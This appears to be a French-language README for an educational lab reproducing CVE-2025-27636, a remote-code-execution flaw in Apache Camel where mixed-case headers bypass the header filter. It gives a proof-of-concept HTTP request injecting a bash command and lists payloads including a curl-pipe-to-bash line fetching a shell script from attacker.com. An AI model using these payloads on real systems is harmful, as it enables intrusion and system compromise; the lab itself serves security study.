
Laboratoire pratique pour reproduire CVE-2025-27636, une RCE critique dans Apache Camel via un contournement de filtre d'en-tête sensible à la casse. Démontre l'injection d'en-tête pour exécuter des commandes arbitraires via le point de terminaison exec.
CVE-2025-27636 est une vulnérabilité critique d'exécution de code à distance (RCE) dans Apache Camel, plus précisément dans le composant camel-exec. Elle provient d'un problème subtil mais dangereux :
La
DefaultHeaderFilterStrategyeffectue des vérifications sensibles à la casse sur les noms d'en-têtes, lesquelles peuvent être contournées en utilisant une casse alternative.
Cela signifie que les en-têtes internes de Camel—comme CamelExecCommandExecutable—qui devraient être bloqués peuvent passer à travers si leur casse est manipulée (par exemple, cAmeLexecCommandExecutable).
Lorsque cet en-tête atteint le point de terminaison exec:, un attaquant peut injecter des commandes arbitraires, conduisant à une compromission totale du système.
DefaultHeaderFilterStrategyLa DefaultHeaderFilterStrategy d'Apache Camel est conçue pour protéger les en-têtes internes comme :
CamelHttp*CamelFile*CamelExecCommandExecutable ← 🚨 vulnérable si la casse contourne le filtre🔍 Que signifie « Interne » ? Les en-têtes internes sont :
Préfixés par Camel*
Utilisés uniquement dans Camel pour contrôler le comportement (routage, traitement, points de terminaison)
Non destinés à être exposés à des systèmes externes comme HTTP, JMS, etc.
Cependant, avant le correctif, ce filtre comparait les noms d'en-têtes en respectant la casse, ce qui viole la spécification HTTP (où les en-têtes sont insensibles à la casse) et permet des contournements tels que :
GET /systeminfo HTTP/1.1
Host: target-ip:8484
cAmeLexecCommandExecutable: /bin/bash -c "touch /tmp/pwned"
Cet en-tête serait transmis au composant exec:, qui exécute ensuite la charge utile.
CamelExecCommandExecutableCet en-tête indique au composant camel-exec quelle commande exécuter. Il est puissant—et extrêmement dangereux—s'il est contrôlable par l'utilisateur, en particulier dans des environnements qui prennent en charge des commandes au niveau du système d'exploitation (par exemple, bash, cmd.exe, etc.).
Projet : Pinewood Server Diagnostic
Auteur : @enochgitgamefied
Objectif : Reproduire CVE-2025-27636 dans un laboratoire pratique et éducatif.
Conçu avec Apache Camel 4.10.0
Routes :
/tasks → Liste les tâches à l'aide de exec:tasklist ou exec:ps/systeminfo → Affiche les informations système (systeminfo ou uname -a)/network → Affiche ipconfig ou ifconfigInterface web servie sur / via Jetty embarqué
Vulnérable à l'injection d'en-têtes à casse modifiée si le filtrage n'est pas corrigé
# Clone the repository
git clone https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab.git
cd CVE-2025-27636-Pratctical-Lab
# Package the app
mvn clean package
# Run it
java -jar target/hello-camel-1.0-SNAPSHOT.jar
Puis ouvrez dans votre navigateur :
🖥️ http://<your-ip>:8484
Comportement non corrigé :
Si vous envoyez un en-tête comme celui-ci (remarquez la casse) :
cAmeLexecCommandExecutable: whoami
Le filtre ne le bloque pas et il est transmis au point de terminaison exec:. Vous pouvez démontrer :
whoamiuname -abash -c "curl http://attacker.com/shell.sh | bash" ← dangereuxUne démonstration complète est en préparation et sera bientôt mise en ligne. Elle passera en revue :
Lien de la démo sur Youtube https://www.youtube.com/watch?v=z4Xf9LYXc9o&t=714s!
HeaderFilterStrategy personnalisée si vous devez appliquer une logique plus stricte.exec: directement à HTTP sans un verrouillage complet.exec.Ce laboratoire est conçu uniquement à des fins éducatives et de laboratoire contrôlé. N'essayez jamais cela sur des systèmes ou des réseaux non autorisés.
